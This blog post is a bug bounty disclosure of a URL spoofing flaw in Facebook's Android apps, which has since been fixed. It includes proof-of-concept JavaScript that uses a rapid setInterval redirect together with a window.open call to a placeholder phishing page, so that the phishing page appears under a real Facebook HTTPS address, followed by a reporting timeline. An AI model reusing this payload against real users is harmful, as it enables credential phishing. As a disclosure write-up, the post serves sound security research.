From NA to $3000 : Facebook's URL spoofing vulnerability

Rahul Kankrale · Follow
2 min read · Apr 30, 2019

FB4A was vulnerable to URL spoofing,

> *This could have let a malicious user spoof the URL bar of multiple Facebook Android apps by navigating to a different domain on the original tab after a new tab had been opened using the setInterval method.*

Steps to reproduce:

Create a html file with below snippet:

```
<script>
function fb()
{
location = "https://m.facebook.com/"
}
setInterval("fb()", 10);
</script>
```

above js code call fb() function for every 10ms time delay with given url to window location (its kind of DDoS).

the put below snippet to call window.open

```
<img src="/fblogin.png"
onclick="window.open('http://yourdomain/phishingpage.html')">
```

above html will call window.open event on image click(you can also automate this),

once clicked this will open your phishing page in the new window with keeping same url which called by setInterval.

So you will get HTTPS url in the address bar with phishing page.

Timeline:
09/10/2018 : Report sent
16/10/2018 : FB closed as social engineering attack.

16/10/2018: Chained with another Vulnerability (Not fixed yet) which helped overcome social engineering.

16/10/2018: Finally FB triaged.

23/11/2018: Sent same POC for Instagram, Messenger.

04/02/2019: FB responded as they are working on another issue discovered as part of this report.
18/03/2019: Fixed with $1500 bounty.

19/03/2019: Sent bypass with setInterval of 5ms delay.

19/03/2019: Triaged again.
15/04/2019: I have confirmed that issue fixed completely.

https://youtu.be/CD3MebfSh2M

> *Conclusion: Keep patience, trust on bugbounty program as many factors will be there to resolve issue, do not disclose if they not respond sometimes.*

Facebook | Bug Bounty | Vulnerability